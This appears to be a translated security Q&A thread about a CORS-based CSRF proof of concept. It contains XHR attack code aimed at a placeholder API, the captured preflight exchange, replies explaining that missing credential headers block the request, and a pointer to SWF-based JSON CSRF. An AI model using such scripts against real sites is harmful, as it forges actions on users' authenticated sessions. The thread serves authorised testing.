web-dev-qa-db-ja.com

XMLHttpRequest CSRFが許可されたCORSで失敗する

私は現在、CSRF攻撃のPoCに取り組んでいます。これは、CORS設定が緩いために可能になるはずです。攻撃する許可があります。

これで、次のコードは、実際のCSRFを送信するためにブラウザーが必要とするすべての詳細を含むOPTIONS要求を送信するはずです。

<html>
<head>
</head>
<body>
    <script>

    function createCORSRequest(method, url){
    var xhr = new XMLHttpRequest();
    if ("withCredentials" in xhr){
        xhr.open(method, url, true);
    } else if (typeof XDomainRequest != "undefined"){
        xhr = new XDomainRequest();
        xhr.open(method, url);
    } else {
        xhr = null;
    }
    return xhr;
    }


    var url = 'https://api.example.com/path';
    var xhr = createCORSRequest('POST', url);
    xhr.withCredentials = true;
    xhr.setRequestHeader('Content-Type', "application/json");
    xhr.send("EXAMPLE");

    </script>
</body>
</html> 

ブラウザはOPTIONSリクエストを送信し、サーバーはそれに応じて応答します。

OPTIONSリクエスト:

OPTIONS /path HTTP/1.1
Host: api.example.com
User-Agent: Agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: null
Connection: close
Cache-Control: max-age=0

応答:

HTTP/1.1 200 OK
Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, PATCH, DELETE
Access-Control-Allow-Origin: *
Date: Fri, 21 Sep 2018 07:25:06 GMT
Content-Length: 0
Connection: close

しかし、実際のPOSTリクエストが送信されることはありません。私はJSがあまり得意ではなく、さまざまなStackExchange投稿からXHRパーツをつなぎ合わせました。これのバリエーションは、別のWebアプリケーションで機能しました。

ブラウザがCSRF POSTリクエストを送信しないのはなぜですか?

2
SaAtomic

問題を特定しました。サーバーがAccess-Control-Allow-Credentials: trueで応答しないため、CORS設定では "withCredentials"が許可されません。これがPOSTリクエストが行われない理由です。

さらに、@ Matthewによって述べられているように、Access-Control-Allow-Originにワイルドカードを使用すると、Authorizationヘッダーを送信できません。

2
SaAtomic

攻撃は可能です。CORSは不要で、XHRを悪用する必要はありません。swfファイル経由でトリッキーなjson CSRFを試してください。

https://www.geekboy.ninja/blog/tag/json-csrf/

1
Yasser Gersy